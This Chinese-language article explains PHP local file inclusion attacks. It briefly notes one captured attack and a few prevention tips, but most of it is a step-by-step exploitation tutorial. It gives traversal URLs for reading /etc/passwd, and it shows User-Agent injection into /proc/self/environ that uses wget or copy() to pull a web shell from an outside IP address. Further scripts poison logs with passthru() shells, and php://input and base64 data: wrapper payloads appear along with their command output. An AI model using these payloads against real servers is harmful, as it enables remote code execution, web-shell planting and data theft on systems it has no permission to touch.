LFI(Local File Include)攻擊的捕獲與預(yù)防方法
剛剛從網(wǎng)站訪問(wèn)日志中捕獲LFI(Local File Include,本地文件包含)攻擊,攻擊參數(shù)為../../../../../../../../../../../../..//proc/self/environ00,攻擊截圖如下:
捕獲LFI攻擊-Local File Include本地文件包含
怎樣通過(guò)LFI(Local File Include,本地文件包含)攻擊?
第一步:尋找本地包含漏洞
首先找到一個(gè)可能存在本地包含的文件,去check它
比如: www.website.com/view.php?page=contact.php
替換成 www.website.com/view.php?page=../
我們得到一個(gè)錯(cuò)誤
1 Warning: include(../) [function.include]: failed to open stream: No such fileor directory in /home/sirgod/public_html/website.com/view.php on line 1337
翻譯下以上的錯(cuò)誤信息如下:
警告:包括(../) [function.include]:未能打開(kāi)流:沒(méi)有那個(gè)文件或目錄在/home/sirgod/public_html/website.com/view.php
說(shuō)明機(jī)會(huì)很大,只是不存在文件而已
那么我們就針對(duì)服務(wù)器存在的文件做檢查,比如linux里的/etc/passwd
提交
1 url:www.website.com/view.php?page=../../../etc/passwd
依舊是:
1 Warning: include(../) [function.include]: failed to open stream: No such fileor directory in /home/sirgod/public_html/website.com/view.php on line 1337
所以我們一層層的加上../測(cè)試,直到顯示為止
1 www.website.com/view.php?page=../../../../../etc/passwd
這個(gè)時(shí)候我們成功的包含了/etc/passwd
1 root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0perator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
第二步:檢查proc/self/environ是否可用訪問(wèn)
提交
1 url:www.website.com/view.php?page=../../../../../proc/self/environ
如果看到類似如下信息:
1 DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=../../../../../../proc/self/environ REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=../../../../../../proc/self/environ SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
2 Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80
說(shuō)明是可以訪問(wèn)的,如果返回時(shí)個(gè)空白頁(yè),說(shuō)明是無(wú)法訪問(wèn)的,也可能操作系統(tǒng)是FreeBSD
第三步: 注入惡意代碼
我們?cè)趺床拍馨盐覀兊膼阂獯a注入到proc/self/environ呢?
我們可以注入我們的代碼在用戶代理HTTP頭。
使用篡改數(shù)據(jù)用于Firefox的插件改變Firefox的User-Agent.Start篡改數(shù)據(jù)和請(qǐng)求URL:
1 www.website.com/view.php?page=../../../../../proc/self/environ
選擇User-Agent 寫(xiě)代碼如下:
1 <?system('wget http://61.164.38.24/rfi.txt -O hack.php');?>
或者
1 <?php copy('http://61.164.38.24/rfi.txt', 'hack.php') ?>
然后提交請(qǐng)求。
我們的命令將被執(zhí)行(將下載http://hack-bay.com/Shells/gny.txt,并將其保存為它在shell.php
網(wǎng)站目錄),我們的shell也就被創(chuàng)建,.如果不行,嘗試使用exec(),因?yàn)橄到y(tǒng)可能被禁用的從php.ini網(wǎng)絡(luò)服務(wù)器.
第四步:訪問(wèn)我們的shell
預(yù)防LFI攻擊的方法
1.涉及到的危險(xiǎn)函數(shù)(include(),require()和include_once(),require_once())
在這些函數(shù)調(diào)用時(shí),盡量采用明確參數(shù),如果使用變量做參數(shù)則變量必須明確初始化,防止變量被通過(guò)URL改變賦值。
2.禁用system等危險(xiǎn)php函數(shù)。
PHP包含漏洞是怎樣產(chǎn)生的?
php包含漏洞替代技術(shù)
php開(kāi)發(fā)者們犯得一個(gè)基本的錯(cuò)誤是把一個(gè)不正當(dāng)?shù)淖兞總鬟f給系統(tǒng)函數(shù),特別是include()和require()這兩個(gè)函數(shù)。
這個(gè)常見(jiàn)的錯(cuò)誤導(dǎo)致了眾所周知的遠(yuǎn)程文件包含漏洞和本地文件包含漏洞。在過(guò)去的幾年中,php已經(jīng)開(kāi)始試圖通過(guò)缺省設(shè)置來(lái)消除或限制這種漏洞的所帶來(lái)影響。
但即使是簡(jiǎn)單的本地文件包含,也會(huì)有新的技術(shù)去利用這些漏洞來(lái)導(dǎo)致遠(yuǎn)程命令的執(zhí)行。
介紹php包含漏洞
文件包含漏洞的要點(diǎn)是要去找到一個(gè)方法來(lái)包含帶有你的php惡意代碼的文件。
<?php
include($_GET['content']);
?>
http://target/index.php?content=/etc/passwd
http://target/index.php?content=http://trojan/exec.php
這是第一個(gè)例子,它包含了本地文件/etc/pa sswd第二個(gè)例子包含了一個(gè)遠(yuǎn)程文件,這個(gè)遠(yuǎn)程包含文件在大多數(shù)情況下不能使用,因?yàn)閜hp設(shè)置中的allow_url_fopen默認(rèn)是off。
當(dāng)然,通常有此漏洞的php代碼會(huì)比上面的例子更有限制性,通常是通過(guò)在前面加上一個(gè)目錄,防止遠(yuǎn)程文件包含,前面加一個(gè)文件擴(kuò)展名來(lái)限制可以包含哪些類型的文件。
<?php
include("pages/".$_GET['content'].".php");
?>
http://target/index.php?content=../../../etc/passwd%00
…/的使用允許目錄橫向風(fēng)格的操作,使你可以操作代碼中預(yù)定目錄以外的目錄的文件。
如果php設(shè)置中open_basedir為on,它將會(huì)阻止你繞過(guò)過(guò)多的目錄。
網(wǎng)站的開(kāi)發(fā)者有可能也會(huì)使用一些函數(shù)來(lái)過(guò)濾掉來(lái)自用戶提交的惡意數(shù)據(jù),但并非總是如此。
空字節(jié)字符%00(\0)終止字符串,來(lái)切斷在它之后提交的任何東西,即是當(dāng)magic_quotes_gpc 默認(rèn)為on的時(shí)候,也可以逃過(guò)。
在http://ush.it網(wǎng)站中有一篇名為《PHP文件系統(tǒng)的攻擊媒介》提供了可能的方法來(lái)應(yīng)付空字節(jié)字符。
php腳本安全也可能取決于像$_GLOBAL[]或$_SERVER[]等的變量,像最近被發(fā)現(xiàn)的phplist的漏洞(phplist是一款國(guó)外的Email程序),例子為
http://target/phplist/admin/?_SERVER[ConfigFile]=/etc/passwd
本地文件包含致遠(yuǎn)程代碼執(zhí)行
一次你找到一個(gè)本地包含漏洞,你需要找到一個(gè)方法去把你的惡意php代碼插入一個(gè)文件中,大量的技術(shù)在過(guò)去的幾年中出現(xiàn)。
有一種在服務(wù)日志中去注入php代碼的技術(shù)比上面這些包含漏洞要出現(xiàn)的晚。
它是有可能的去把我們的代碼插入http請(qǐng)求的頭部,然后包含Apache的access_log日志文件(它可能會(huì)進(jìn)行一些測(cè)試去找到access_log)。
考慮一下這個(gè)例子,在Mac OS X的Apache/PHP默認(rèn)配置下,寫(xiě)一個(gè)腳本去發(fā)送一個(gè)請(qǐng)求可能是必須的,因?yàn)闉g覽器可能會(huì)對(duì)一些字符進(jìn)行轉(zhuǎn)義。
- <?php
- $a = fsockopen("localhost",80);
- fwrite($a,"GET /<?php passthru(\$_GET['cmd']); ?> HTTP/1.1\r\n".
- "Host: localhost\r\n".
- "Connection: Close\r\n\r\n");
- fclose($a);
- ?>
- http://localhost/index.php?content=/var/log/httpd/access_log&cmd=id
另一種方法是包括了Apache/PHP進(jìn)程的環(huán)境變量的/proc/ self/environ文件。
如果我們將惡意代碼插入U(xiǎn)ser-Agent 的頭部,這些代碼會(huì)出現(xiàn)在那個(gè)文件里,所以遠(yuǎn)程執(zhí)行代碼是可能的。
/proc/self/environ必須是可讀的
- <?php
- $a = fsockopen("localhost",80);
- fwrite($a,"GET /../../../../proc/self/environ HTTP/1.1\r\n".
- "User-Agent: <?php passthru(\$_GET['cmd']); ?>\r\n".
- "Host: localhost\r\n".
- "Connection: Close\r\n\r\n");
- fclose($a);
- ?>
Php封裝包含漏洞
利用php的include函數(shù)的另一種方法是利用php封裝(http://www.php.net/wrappers.php)。這個(gè)例子將使用PHP輸入,從一個(gè)HTTP POST請(qǐng)求的原始數(shù)據(jù)并執(zhí)行它:
漏洞代碼:
- 1 <?php
- 2 include($_GET['content']);
- 3 ?>
- 我們的請(qǐng)求:
- 01 <?php
- 02 $request = "<?php passthru('id;');?>";
- 03 $req = "POST /index.php?content=php://input
- 04 HTTP/1.1\r\n".
- 05 "Host: localhost\r\n".
- 06 "Content-type: text/html\r\n".
- 07 "Content-length: ".strlen($request)."\r\n".
- 08 "Connection: Close\r\n\r\n".
- 09 "$request \r\n\r\n";
- 10 $a = fsockopen("10.0.2.2",80);
- 11 fwrite($a,$req);
- 12 echo $req;
- 13 while (!feof($a)){echo fgets($a, 128);}
- 14 fclose($a);
- 15 ?>
得到的結(jié)果:uid=33(www-data) gid=33(www-data) groups=33(www-data)
這個(gè)例子的前提是allow_url_include和allow_fopen_include兩個(gè)選項(xiàng)設(shè)置為ON,在這種情況下,標(biāo)準(zhǔn)的遠(yuǎn)程文件包含是可能的。
這個(gè)方法的優(yōu)點(diǎn)是它不依賴于外部?jī)?chǔ)存文件服務(wù)器。
cr0w-at.blogspot.com提到另一種技術(shù)使用”數(shù)據(jù):”封裝:
1 index.php?content=data:,<?php system($_GET[c]);?>?&c=dir
或者base64編碼過(guò)的:
1 index.php?content=data:;base64,\PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir
總結(jié)
這些方法大多都不是新的,并沒(méi)有表現(xiàn)出缺陷或在PHP語(yǔ)言本身的局限性。這些問(wèn)題通??梢酝ㄟ^(guò)強(qiáng)大的輸入驗(yàn)證,常識(shí)編碼,和一些預(yù)防更嚴(yán)格的服務(wù)器配置。